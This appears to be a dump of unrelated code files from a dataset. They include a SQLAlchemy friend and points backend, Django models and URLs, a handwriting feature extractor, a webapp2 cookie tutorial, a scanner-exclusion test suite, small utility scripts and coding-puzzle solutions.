try:\n user_1 = session.query(User).filter_by(uid=uid1).one_or_none()\n user_2 = session.query(User).filter_by(uid=uid2).one_or_none()\n if not user_1 or not user_2:\n return dbmsg(\"21\")\n order = uid1 < uid2\n if order:\n friends = session.query(Friends). \\\n filter_by(uid1=uid1, uid2=uid2).one_or_none()\n else:\n friends = session.query(Friends). \\\n filter_by(uid1=uid2, uid2=uid1).one_or_none()\n if act == 1: # uid1 向 uid2 发出申请\n if order:\n # uid1 已经向 uid2 发出了好友申请\n if friends and friends.status == 1:\n return dbmsg(\"54\")\n # uid2 已经向 uid1 发出了好友申请\n if friends and friends.status == 2:\n return dbmsg(\"55\")\n # uid1 和 uid2 已经是好友关系\n if friends and friends.status == 0:\n return dbmsg(\"56\")\n new_friends = Friends(uid1=uid1, uid2=uid2, status=1)\n session.add(new_friends)\n else:\n # uid1 已经向 uid2 发出了好友申请\n if friends and friends.status == 2:\n return dbmsg(\"54\")\n # uid2 已经向 uid1 发出了好友申请\n if friends and friends.status == 1:\n return dbmsg(\"55\")\n # uid1 和 uid2 已经是好友关系\n if friends and friends.status == 0:\n return dbmsg(\"56\")\n new_friends = Friends(uid1=uid2, uid2=uid1, status=2)\n session.add(new_friends)\n session.add(new_friends)\n\n # uid1 同意 uid2 的申请\n elif act == 2:\n if not friends:\n return dbmsg(\"53\")\n if order:\n if friends.status != 2:\n return dbmsg(\"53\")\n friends.status = 0\n else:\n if friends.status != 1:\n return dbmsg(\"53\")\n friends.status = 0\n\n # uid1 拒绝 uid2 的申请\n elif act == 2:\n if not friends:\n return dbmsg(\"53\")\n if order:\n if friends.status != 2:\n return dbmsg(\"53\")\n friends.status = 0\n else:\n if friends.status != 1:\n return dbmsg(\"53\")\n friends.status = 0\n elif act == 3:\n if not friends:\n return dbmsg(\"57\")\n session.delete(friends)\n else:\n return dbmsg(\"s0\")\n session.commit()\n return dbmsg()\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef get_friend_list(uid:int):\n session = Session()\n try:\n friends = session.query(Friends).filter_by(uid1=uid, status=0).union(\n session.query(Friends).filter_by(uid2=uid, status=0)\n ).all()\n friend_list = []\n for friend in friends:\n if friend.uid1 == uid:\n friend_info = session.query(User).filter_by(uid=friend.uid2).one()\n else:\n friend_info = session.query(User).filter_by(uid=friend.uid1).one()\n\n if friend_info:\n friend_list.append({\n \"id\": [friend_info.uid, friend_info.rid],\n \"name\": friend_info.name,\n \"avatar\": friend_info.avatar\n })\n else:\n friend_list.append({\n \"id\": [-1, \"null\"],\n \"name\": \"[已删除]\",\n \"avatar\": \"lost.png\"\n })\n return dbmsg(data=friend_list)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\ndef get_my_friend_requests(uid:int):\n session = Session()\n try:\n friends = session.query(Friends).filter_by(uid1=uid, status=2).union(\n session.query(Friends).filter_by(uid2=uid, status=1)\n )\n friend_list = []\n for friend in friends:\n if friend.uid1 == uid:\n friend_info = session.query(User).filter_by(uid=friend.uid2).one()\n else:\n friend_info = session.query(User).filter_by(uid=friend.uid1).one()\n\n if friend_info:\n friend_list.append({\n \"id\": [friend_info.uid, friend_info.rid],\n \"name\": friend_info.name,\n \"avatar\": friend_info.avatar\n })\n else:\n friend_list.append({\n \"id\": [-1, \"null\"],\n \"name\": \"[已删除]\",\n \"avatar\": \"lost.png\"\n })\n return dbmsg(data=friend_list)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef get_my_friend_applications(uid:int):\n session = Session()\n try:\n user = session.query(User).filter_by(uid=uid).one_or_none\n if not user:\n return dbmsg(\"21\")\n friends = session.query(Friends).filter_by(uid1=uid, status=1).union(\n session.query(Friends).filter_by(uid2=uid, status=2)\n )\n friend_list = []\n for friend in friends:\n if friend.uid1 == uid:\n friend_info = session.query(User).filter_by(uid=friend.uid2).one()\n else:\n friend_info = session.query(User).filter_by(uid=friend.uid1).one()\n if friend_info:\n friend_list.append({\n \"rid\": [friend_info.uid, friend_info.rid],\n \"name\": friend_info.name,\n \"avatar\": friend_info.avatar\n })\n else:\n friend_list.append({\n \"rid\": [-1, \"null\"],\n \"name\": \"[已删除]\",\n \"avatar\": \"lost.png\"\n })\n session.close()\n return dbmsg(data=friend_list)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n# mode = 1: upvote\n# mode = 2: downvote\n# mode = 3: reward\n# mode = 4: cancel vote\ndef vote_content(cid:int, uid:int, vtype:int, amount:int=0):\n session = Session()\n try:\n content = session.query(NotebookContent).filter_by(cid=cid).one_or_none()\n nid = content.nid\n if not content:\n session.close()\n return dbmsg(\"81\")\n user = session.query(User).filter_by(uid=uid).one_or_none()\n if not user:\n session.close()\n return dbmsg(\"21\")\n vote = session.query(VoteHistory).\\\n filter(VoteHistory.nid == nid,\n VoteHistory.cid == cid, VoteHistory.uid == uid,\n or_(VoteHistory.vote_type == 0, VoteHistory.vote_type == 1)).\\\n one_or_none()\n reward = session.query(VoteHistory).\\\n filter(VoteHistory.nid == nid,\n VoteHistory.cid == cid, VoteHistory.uid == uid,\n VoteHistory.vote_type == 2).\\\n one_or_none()\n if vtype == 1 or vtype == 2:\n if vtype == 1:\n # 被点赞者受到了奖赏\n transfer_points(content.uid, uid, content.cid, PP.upvote_reward, 1)\n if vote is None:\n new_vote = VoteHistory(cid=cid, nid=nid, uid=uid, vote_type=vtype - 1, amount=0,\n time=datetime.datetime.today())\n session.add(new_vote)\n else:\n vote.vote_type = vtype - 1\n elif vtype == 3:\n # 如果要奖赏某个用户,先要看看是否足够\n if get_user_points(uid)['data'] < amount:\n session.close()\n return dbmsg(\"a1\")\n if reward is None:\n new_reward = VoteHistory(cid=cid, nid=nid, uid=uid, vote_type=2, amount=amount,\n time=datetime.datetime.today())\n session.add(new_reward)\n else:\n reward.amount += amount\n # 产生一笔被奖赏的积分转移\n transfer_points(content.uid, uid, content.cid, amount, 2)\n\n elif vtype == 4:\n if vote is None:\n traceback.print_exc()\n else:\n # 不删除记录,只是把vtype设置为3\n vote.vote_type = 3\n # 尝试撤回被点赞者的积分\n # 如果此时正好被点赞者已经把积分用掉了,那么也没办法啦!\n transfer_points(content.uid, uid, content.cid, -PP.upvote_reward, 7)\n else:\n session.close()\n return dbmsg(\"s0\")\n session.commit()\n return dbmsg(\"ok\")\n except:\n traceback.print_exc()\n finally:\n session.close()\n\ndef get_user_points(uid):\n session = Session()\n try:\n user_points = session.query(UserPoints).filter_by(uid=uid).one_or_none()\n if not user_points:\n return dbmsg(\"21\")\n return dbmsg(data=user_points.points)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\ndef transfer_points(uid1, uid2, reward_id, amount, transfer_type):\n \"\"\"\n 该函数仅仅在服务器内部运行,\n point的流动方向以从uid2到uid1为正方向\n\n :param uid1:\n :param uid2:\n :param reward_id\n :param amount:\n :param transfer_type\n 0 空投\n 1 被点赞\n 2 被奖赏\n 3 创建笔记本\n 4 发布内容\n 6 系统扣除\n 7 被取消点赞\n 注: 5 奖赏他人被包含在被奖赏中,因此这里无效\n :return: 0 交易成功\n 1 交易失败\n 2 交易格式错误\n \"\"\"\n session = Session()\n try:\n if transfer_type in [0, 1, 3, 4, 6, 7]:\n # 用户和系统之间的收支\n u1_point = session.query(UserPoints).filter_by(uid=uid1).one()\n record = UserPointRecord(\n uid=uid1,\n num=amount,\n reward_type=transfer_type,\n reward_id=reward_id,\n giver_id=uid2\n )\n session.add(record)\n if u1_point.points + amount < 0:\n return 1\n u1_point.points += amount\n session.commit()\n return 0\n else:\n if not transfer_type == 2:\n return 2\n u1_point = session.query(UserPoints).filter_by(uid=uid1).one()\n u2_point = session.query(UserPoints).filter_by(uid=uid2).one()\n if u2_point.points - amount < 0:\n session.close()\n return 1\n u1_point.points += amount\n u2_point.points -= amount\n record = UserPointRecord(\n uid=uid1,\n num=amount,\n reward_type=transfer_type,\n reward_id=reward_id,\n giver_id=uid2\n )\n session.add(record)\n session.commit()\n return 0\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef user_cashout(uid, amount, address, tx_hash):\n \"\"\"\n 某个用户提现之后,积分从官方账户转到用户账户的记录\n :param uid:\n :param amount:\n :param address:\n :param tx_hash:\n :return: 无\n \"\"\"\n session = Session()\n try:\n transaction = UserTransactions(\n uid=uid,\n amount=amount,\n address=address,\n tx_hash=tx_hash\n )\n session.add(transaction)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef get_top_notebooks(start, end):\n \"\"\"\n 获取最近的笔记本(按回复时间排序,从start 到 end)\n :param start:\n :param end:\n :return:\n \"\"\"\n session = Session()\n try:\n # Cross Join\n content_query = session.query(NotebookContent.nid,\n f.max(NotebookContent.time).label(\"t\"), Notebook).\\\n group_by(NotebookContent.nid).\\\n order_by(sql.desc(\"t\")).\\\n filter(Notebook.nid == NotebookContent.nid, Notebook.mode == 2).\\\n offset(start).limit(end - start).all()\n notebooks_json = [\n {\n \"id\": [nid, notebook.rid],\n \"name\": notebook.name,\n \"desc\": notebook.desc,\n \"last_reply\": str(last_reply)\n }\n for nid, last_reply, notebook in content_query\n ]\n return dbmsg(data=notebooks_json)\n except:\n traceback.print_exc()\n finally:\n session.close()","sub_path":"LoveOnChain/server/Database.py","file_name":"Database.py","file_ext":"py","file_size_in_byte":40065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"485800830","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom rest_framework.authtoken.models import Token\n\n\n@receiver(post_save, sender=settings.AUTH_USER_MODEL)\ndef create_auth_token(sender, instance=None, created=False, **kwargs):\n if created:\n Token.objects.created(user=instance)\n\ndef user_directory_path(instance, filename):\n # file will be uploaded to MEDIA_ROOT/user_/\n return 'user_{0}/capa/{1}'.format(instance.user.id, filename)\n\nclass Perfil(models.Model):\n\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n capa = models.ImageField(upload_to=user_directory_path, blank=True)\n dn = models.DateField(null=True, blank=True)\n sobre = models.TextField(blank=True)\n cidade = models.CharField(max_length=250, blank=True)\n def get_absolute_url(self):\n return reverse('perfil', kwargs={'pk': self.pk})\n\n\n\n@receiver(post_save, sender=User)\ndef create_user_profile(sender, instance, created, **kwargs):\n if created:\n perfil = Perfil(user=instance)\n perfil.capa = 'profile_image/defaut.jpeg'\n perfil.save()\n\n","sub_path":"usuario/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"613833418","text":"import os, frontmatter, markdown\nfrom jinja2 import Environment, FileSystemLoader, contextfilter, Markup\n\ndef markdownfilter(val):\n\treturn Markup(markdown.markdown(val))\n\nenv = Environment(loader=FileSystemLoader(\"./templates/\"))\nenv.filters[\"markdown\"]=markdownfilter\ntemp = env.get_template(\"article.html\")\n\nif not os.path.exists(\"build\"):\n\tos.system(\"mkdir build; cp style.css build\")\n\narticles = os.listdir(\"articles\")\narticles = [[os.path.splitext(x)[0],frontmatter.load(\"articles/\"+x)] for x in articles]\nfor article in articles:\n\tif article[1][\"published\"]:\n\t\twith open(\"build/\"+article[0]+\".html\",\"w\") as f:\n\t\t\tf.write(temp.render(article=article[1]))\nwith open(\"build/index.html\",\"w\") as f:\n\tf.write(env.get_template(\"mainpage.html\").render(articles=articles))\n","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"100764197","text":"from django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom django.contrib.auth import views as auth_view\nfrom django.urls import path\n\nfrom taskmanager import views\n\napp_name = 'taskmanager'\nurlpatterns = [\n path('login/', auth_view.login, {'redirect_authenticated_user' : True} , name='login'),\n path('', views.Index.as_view(), name='index'),\n path('error/', views.generic.TemplateView.as_view(template_name='taskmanager/error.html'), name='profile_error'),\n path('/status/', views.change_status, name='status'),\n path('signup/', views.SignUp.as_view(), name='signup'),\n path('/profile/', views.EditProfile.as_view(), name='profile'),\n path('/details', views.TaskDetails.as_view(), name='details'),\n path('/edit/', views.EditTask.as_view(), name='edit'),\n path('addtask/', views.AddTask.as_view(), name='add'),\n]\n\nurlpatterns += [\n path('taskmanager/validate_signup/', views.validate_username, name='validate_username'),\n path('/deletetask', views.delete_task, name='delete_task')\n]\n\nurlpatterns += staticfiles_urlpatterns()","sub_path":"taskmanager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"436182367","text":"import os\n\nimport psutil\n\nfrom .. import logger as log\nfrom .base import BaseInput\n\n\nclass PIDFileInput(BaseInput):\n def get_default_options(self):\n return {\"timestamp_format\": \"%Y-%m-%d\"}\n\n def __iter__(self):\n for pid_file in self.get_file_list():\n status = {\"file\": pid_file}\n if not os.path.exists(pid_file):\n msg = \"找不到PID文件({pid_file})\".format(pid_file=pid_file)\n status.update({\"msg\": msg, \"pid_file_not_exists\": True})\n yield status\n continue\n else:\n status[\"pid_file_not_exists\"] = False\n\n try:\n buf = open(pid_file).read()\n pid = int(buf)\n except ValueError:\n msg = \"PID文件内容不正确: {}\".format(buf)\n status.update({\"msg\": msg, \"pid_file_not_correct\": True})\n yield status\n continue\n else:\n status[\"pid_file_not_correct\"] = False\n\n try:\n proc = psutil.Process(pid)\n except psutil._exceptions.NoSuchProcess:\n msg = \"找不到进程(PID={pid})\".format(pid=pid)\n status.update({\"msg\": msg, \"process_not_exists\": True})\n yield status\n continue\n else:\n status[\"process_not_exists\"] = False\n\n status[\"msg\"] = \"进程存在(PID={pid})\".format(pid=pid)\n status[\"process_exists\"] = True\n yield status\n","sub_path":"examples/ServiceMonitor/monitor/inputs/pid_file.py","file_name":"pid_file.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"573843550","text":"'''\r\nAuthors: Parag Mali, Puneeth Kukkadapu\r\n'''\r\nfrom bs4 import BeautifulSoup\r\nimport matplotlib.pyplot as plt\r\nimport preprocess as pre\r\nimport feature_extractor as extract\r\nimport os\r\nimport sys\r\nimport math\r\nimport numpy as np\r\n\r\nFEATURE_LEN = 110\r\n\r\n\r\ndef read_inkml(filename):\r\n return BeautifulSoup(open(filename, 'r'), 'xml')\r\n\r\ndef plot_symbol(filename): \r\n soup = read_inkml(filename)\r\n points = pre.get_points(soup)\r\n\r\n points = pre.preprocess(points)\r\n plt.plot(points[0], points[1], 'o')\r\n\r\n plt.title(\"Class \" + pre.get_label(pre.get_ui_annotation(soup)))\r\n plt.show()\r\n\r\n\r\ndef read_features(feature_file_name):\r\n\r\n annotations = []\r\n features = []\r\n\r\n for line in open(feature_file_name, 'r'):\r\n try:\r\n if line=='\\n' or line=='':\r\n continue\r\n\r\n line = line.strip('\\n')\r\n line = line.strip()\r\n l = line.split(',')\r\n \r\n annotation = l[0]\r\n \r\n append_flag = True\r\n del l[0]\r\n #features.append([float(i) for i in l]) \r\n temp = []\r\n\r\n for i in l:\r\n if i=='' or i == ' ' :\r\n continue\r\n\r\n if math.isnan(float(i)) or float(i) == float(\"inf\"):\r\n #annotations.pop()\r\n append_flag = False\r\n break\r\n else:\r\n temp.append(float(i))\r\n\r\n if len(temp) != FEATURE_LEN:\r\n append_flag = False\r\n\r\n if (append_flag):\r\n features.append(np.array(temp))\r\n annotations.append(annotation)\r\n #print(temp)\r\n except Exception as e:\r\n annotations.pop()\r\n features.pop()\r\n print(i)\r\n print(str(e))\r\n \r\n return annotations, np.array(features)\r\n\r\n\r\ndef read_data(csv_file, feature_file_name, limit=500000000):\r\n \r\n count = 0\r\n\r\n features_file = open(feature_file_name, 'w')\r\n\r\n file_list = open(csv_file, 'r')\r\n\r\n for filename in file_list:\r\n \r\n filename = filename.strip()\r\n if filename.endswith('.inkml'):\r\n \r\n print(filename)\r\n features = []\r\n if count >= limit:\r\n return \r\n\r\n count = count + 1\r\n\r\n soup = read_inkml(filename) \r\n points = pre.get_points(soup)\r\n \r\n\r\n annotation = pre.get_ui_annotation(soup)\r\n #label = pre.get_label(annotation)\r\n\r\n strokes = len(soup.find_all('trace'))\r\n points = pre.preprocess(points)\r\n \r\n if len(points[0]) != 30:\r\n continue\r\n \r\n alpha = extract.slope(points) \r\n beta = extract.curvature(points)\r\n mean_x, mean_y = extract.mean(points)\r\n cov = extract.covar(points, mean_x, mean_y)\r\n fuzzy_hist = extract.fuzzy_histogram(points)\r\n\r\n features.append(alpha)\r\n features.append(beta)\r\n features.append([mean_x, mean_y, cov, strokes])\r\n features.append(fuzzy_hist)\r\n features.append(points[1])\r\n\r\n flat_list = [item for sublist in features for item in sublist]\r\n\r\n features_string = ','.join(str(e) for e in flat_list)\r\n features_file.write(annotation + ',' + features_string + '\\n')\r\n","sub_path":"patternRec/recognition/inout.py","file_name":"inout.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"276792815","text":"from tools import Handler\nfrom google.appengine.ext import db\nimport hmac\n\nclass Hello(Handler):\n\n def get(self):\n self.render('hello.html', name=self.request.get('name', 'World'))\n\nclass FizzBuzz(Handler):\n\n def get(self):\n n = self.request.get('n', 0)\n self.render('fizzbuzz.html', title=\"FizzBuzz\", n=int(n))\n\nclass ShoppingList(Handler):\n\n def get(self):\n items = self.request.get_all(\"food\")\n self.render(\"shopping_list.html\", title=\"Shopping List\", items=items)\n\nclass Art(db.Model):\n title = db.StringProperty(required = True)\n art = db.TextProperty(required = True)\n created = db.DateTimeProperty(auto_now_add = True)\n\nclass AsciiChan(Handler):\n\n def render_front(self, title=\"\", art=\"\", error=\"\"):\n arts = db.GqlQuery(\"SELECT * FROM Art ORDER BY created DESC\")\n self.render(\"asciichan.html\", title=title, art=art, error=error, arts=arts)\n\n def get(self):\n self.render_front()\n\n def post(self):\n title = self.request.get(\"title\")\n art = self.request.get(\"art\")\n\n if title and art:\n a = Art(title=title, art=art)\n a.put()\n self.redirect(\"/asciichan\")\n else:\n error = \"we need both a title and art!\"\n self.render_front(title, art, error)\n\nSECRET = 'supersecret'\ndef hash_str(s):\n return hmac.new(SECRET, s).hexdigest()\n\ndef make_secure_val(s):\n return \"%s|%s\" % (s,hash_str(s))\n\ndef check_secure_val(s):\n val = s.split('|')[0]\n if s == make_secure_val(val):\n return val\n\nclass VisitCounter(Handler):\n\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n visits = 0\n visit_cookie_val = self.request.cookies.get('visits')\n if visit_cookie_val:\n cookie_val = check_secure_val(visit_cookie_val)\n if cookie_val:\n visits = int(cookie_val)\n\n visits += 1\n\n new_cookie_val = make_secure_val(str(visits))\n self.response.headers.add_header('Set-Cookie', 'visits=%s' % new_cookie_val)\n\n if visits > 100:\n self.write(\"You are the best ever!\\n\")\n\n self.write(\"You've been here %s times!\" % visits)\n","sub_path":"examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"456479436","text":"#program to rename files with any numbers as the filename without the numbers\nimport os\ndef rename_files():\n #get file names from a folder\n file_list = os.listdir(r\"C:\\Users\\Akash\\Desktop\\prank\") #r is for raw\n os.chdir(r\"C:\\Users\\Akash\\Desktop\\prank\")\n #for each file, rename\n for file_name in file_list:\n print(\"\\nOld name: \" + file_name + \"\\n\")\n print(\"New name: \" + file_name.translate(None, \"0123456789\"))\n os.rename(file_name, file_name.translate(None, \"0123456789\")) #remove numbers from filename\nrename_files()\n","sub_path":"rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"75640392","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\nimport sys\nifs = sys.stdin\nofs = sys.stdout\n\nfrom itertools import izip\nimport random\nfrom sympy import *\n\n\ndef get_random_coeffs(N):\n C = [random.randint(0, 1) for __ in range(N-2)]\n C.insert(0, 1)\n C.append(1)\n return C\n\n\ndef poly_template(N):\n P = ['x**%d' % n for n in range(N-1, 1, -1)]\n P.append('x')\n P.append('1')\n return P\n\n\ndef get_poly(coeffs, P_template):\n P = []\n for c, p in izip(coeffs, P_template):\n if c == 1:\n P.append(p)\n return ' + '.join(P) \n \n\ndef solve(N, J):\n PT = poly_template(N)\n \n A = {}\n while len(A) < J:\n C = get_random_coeffs(N)\n P = get_poly(C, PT)\n F = factor(P)\n F = F.as_ordered_factors()\n if len(F) == 1:\n continue\n jamcoin = ''.join(map(str, C))\n #print >> sys.stderr, F\n A[jamcoin] = F\n #if len(A) % 10 == 0:\n # print >> sys.stderr, 'found %d polynomials' % len(A)\n \n J = {}\n for jc, F in A.iteritems():\n f = F[0]\n J[jc] = [f.subs('x', b) for b in range(2, 11)]\n \n return J\n\n\ndef numbers_from_line(d=' '):\n return [int(s) for s in ifs.readline().strip().split(d)\n if len(s.strip()) > 0]\n\n\nifs.readline() # skip T == 1\n\nN, J = numbers_from_line()\n\na = solve(N, J)\n\nofs.write('Case #1:\\n')\nfor jamcoin, factors in a.iteritems():\n ofs.write('%s %s\\n' % (jamcoin, ' '.join(map(str, factors))))\n","sub_path":"codes/CodeJamCrawler/16_0_3/Shurick/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"30834589","text":"################################################################################\n# ex3\n#\n################################################################################\n\nimport streams\nimport task as ts\nimport DTH as dth\n\n# create a serial port with default parameters\nstreams.serial()\n\ndef display(number, delay):\n print(dth.DTH_temp,dth.DTH_hum)\n sleep(delay)\n\n# create the various threads using the same function but passing different parameters \nts.initTask()\n#thread(ts.task1,1,500)\n#thread(ts.task2,2,600)\n#thread(ts.task3,3,1300)\n#thread(ts.task4,4,800)\nthread(ts.taskADC)\nthread(dth.DTH_task, 5, 2500) #time must be more than 2000\n#thread(display, 6, 1000)\n \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"651637767","text":"# This file is part of sner4 project governed by MIT license, see the LICENSE.txt file.\n\"\"\"\nmisc server components tests\n\"\"\"\n\nfrom ipaddress import ip_network\n\nimport pytest\nfrom flask import url_for\n\nfrom sner.server.extensions import db\nfrom sner.server.scheduler.models import Excl, ExclFamily\nfrom sner.server.utils import ExclMatcher, valid_next_url, windowed_query\n\n\ndef test_model_excl_validation():\n \"\"\"test excl model validation\"\"\"\n\n with pytest.raises(ValueError) as pytest_wrapped_e:\n Excl(family='invalid')\n assert str(pytest_wrapped_e.value) == 'Invalid family'\n\n with pytest.raises(ValueError) as pytest_wrapped_e:\n Excl(family=ExclFamily.network, value='invalid')\n assert str(pytest_wrapped_e.value) == \"'invalid' does not appear to be an IPv4 or IPv6 network\"\n\n with pytest.raises(ValueError) as pytest_wrapped_e:\n Excl(family=ExclFamily.regex, value='invalid(')\n assert str(pytest_wrapped_e.value) == 'Invalid regex'\n\n test_excl = Excl(value='invalid(')\n with pytest.raises(ValueError):\n test_excl.family = ExclFamily.network\n with pytest.raises(ValueError):\n test_excl.family = ExclFamily.regex\n\n test_excl = Excl(family=ExclFamily.network)\n with pytest.raises(ValueError):\n test_excl.value = 'invalid('\n test_excl = Excl(family=ExclFamily.regex)\n with pytest.raises(ValueError):\n test_excl.value = 'invalid('\n\n\ndef test_excl_matcher(app, excl_network, excl_regex): # pylint: disable=unused-argument\n \"\"\"test matcher\"\"\"\n\n matcher = ExclMatcher()\n tnetwork = ip_network(excl_network.value)\n\n assert matcher.match(str(tnetwork.network_address))\n assert matcher.match(str(tnetwork.broadcast_address))\n assert not matcher.match(str(tnetwork.network_address-1))\n assert not matcher.match(str(tnetwork.broadcast_address+1))\n\n assert matcher.match(f'tcp://{tnetwork.network_address}:12345')\n assert not matcher.match('tcp://notanaddress:12345')\n\n assert matcher.match('notarget1')\n assert not matcher.match('notarget3')\n\n\ndef test_valid_next_url(app): # pylint: disable=unused-argument\n \"\"\"test next= and return_url= validator\"\"\"\n\n assert valid_next_url(url_for('index_route'))\n assert not valid_next_url('http://invalid_route')\n assert not valid_next_url('invalid_route')\n\n\ndef test_windowed_query(app, excl_network): # pylint: disable=unused-argument\n \"\"\"test windowed query\"\"\"\n\n assert list(windowed_query(Excl.query, Excl.id, 1))\n assert list(windowed_query(db.session.query(Excl.id, Excl.id).select_from(Excl), Excl.id, 1))\n","sub_path":"tests/server/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"165249845","text":"import logging\nimport os\nfrom logging.handlers import RotatingFileHandler\n\n__author__ = 'youfu'\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\n\nformatter = logging.Formatter(\n '[%(asctime)s] [%(process)d] [%(name)s:%(funcName)s:%(lineno)d] [%(levelname)s] - %(message)s')\n\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nch.setFormatter(formatter)\nlog.addHandler(ch)\n\nhodor_path = os.path.split(os.path.realpath(__file__))[0].rsplit(os.sep, 1)[0]\nlog_path = \"{0}/logs/hodor.log\".format(hodor_path)\n\nfh = RotatingFileHandler(log_path, maxBytes=10 * 1024 * 1024, backupCount=5)\nfh.setLevel(logging.INFO)\nfh.setFormatter(formatter)\nlog.addHandler(fh)\n","sub_path":"hodor/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"275411115","text":"#\n# [513] Find Bottom Left Tree Value\n#\n# https://leetcode.com/problems/find-bottom-left-tree-value/description/\n#\n# algorithms\n# Medium (57.08%)\n# Total Accepted: 58K\n# Total Submissions: 101.7K\n# Testcase Example: '[2,1,3]'\n#\n# \n# Given a binary tree, find the leftmost value in the last row of the tree. \n# \n# \n# Example 1:\n# \n# Input:\n# \n# ⁠ 2\n# ⁠ / \\\n# ⁠ 1 3\n# \n# Output:\n# 1\n# \n# \n# \n# ⁠ Example 2: \n# \n# Input:\n# \n# ⁠ 1\n# ⁠ / \\\n# ⁠ 2 3\n# ⁠ / / \\\n# ⁠ 4 5 6\n# ⁠ /\n# ⁠ 7\n# \n# Output:\n# 7\n# \n# \n# \n# Note:\n# You may assume the tree (i.e., the given root node) is not NULL.\n# \n#\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def findBottomLeftValue(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n q = []\n ans = []\n tmp = []\n q.append(root)\n if root is None:\n return []\n now_node_size = len(q)\n while (len(q) != 0):\n if now_node_size == 0:\n ans.append(tmp)\n tmp = []\n now_node_size = len(q)\n node = q[0]\n q.remove(node)\n now_node_size -= 1\n tmp.append(node.val)\n if node.left is not None:\n q.append(node.left)\n if node.right is not None:\n q.append(node.right)\n ans.append(tmp)\n ans.reverse()\n return ans[0][0]\n\n ","sub_path":"Depth-first Search/medium/513.find-bottom-left-tree-value.py","file_name":"513.find-bottom-left-tree-value.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"610401547","text":"from datetime import datetime\nfrom enum import Enum\n\nfrom helpers.datetime import datetime_to_string\n\n\nclass TodoStatus(Enum):\n not_started = 0\n in_progress = 1\n done = 2\n cancelled = 3\n\n\nclass TodoItem:\n\n def __init__(self,\n desc: str,\n status: TodoStatus,\n date_added: datetime,\n item_number: int = None,\n date_done: datetime = None):\n self.desc = desc\n self.status = status\n self.date_added = date_added\n self.item_number = item_number\n self.date_done = date_done\n\n def to_json(self):\n return {\n \"id\": self.item_number,\n \"desc\": self.desc,\n \"status\": self.status.name,\n \"date_added\": datetime_to_string(self.date_added),\n \"date_done\": datetime_to_string(self.date_done) if self.date_done else None\n }\n\n\nclass TodoListManager:\n\n def get_items(self) -> list[TodoItem]:\n raise NotImplementedError\n\n def get_item(self, item_id: int) -> TodoItem:\n raise NotImplementedError\n\n def add_item(self, item: TodoItem):\n raise NotImplementedError\n\n def update_item(self, item_id: int, status: TodoStatus):\n raise NotImplementedError\n","sub_path":"life-efficiency/todo/list/todo_list_manager.py","file_name":"todo_list_manager.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"82587782","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: weijiawei\n@date: 2018-09-11\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport os, re\n\nfrom NLP_myTools.files import MyFiles\n\n\ndef get_page_resource(url):\n response = requests.get(url)\n soup = BeautifulSoup(response.content.decode('gb18030'), 'html.parser')\n try:\n title = soup.find('td', {'class': \"biaoti1\"}).get_text()\n except Exception as e:\n title = soup.find('td', {'class': \"biaoti\"}).get_text()\n contents_elem = soup.find('td', {'class': \"zwjd\"})\n\n resouce_list = []\n for content_elem in contents_elem.findAll('p'):\n res = {}\n content_list = content_elem.get_text().split('\\n')\n res['粤语'] = content_list[0].strip()\n if len(content_list)==3 :\n res['普通话'] = 